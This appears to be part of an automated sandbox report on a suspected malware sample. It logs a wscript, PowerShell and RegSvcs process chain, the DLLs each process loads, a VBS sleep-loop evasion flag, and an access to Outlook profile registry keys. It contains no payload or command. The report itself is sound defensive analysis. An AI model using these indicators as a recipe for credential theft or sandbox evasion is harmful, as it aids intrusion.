Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: twinapi.appcore.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3743-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Potential evasive VBS script found (sleep loop)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B2E480 push ecx; retn 0006h	8_2_06B2E48A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B2A4F5 push ecx; retn 0006h	8_2_06B2A512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B24D50 push es; ret	8_2_06B24D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B2DAC7 push ebp; iretd	8_2_06B2DAC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B2FBCD push es; iretd	8_2_06B2FBDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B2DB3F push ebp; iretd	8_2_06B2DB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06B2FB10 push es; iretd	8_2_06B2FB20

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
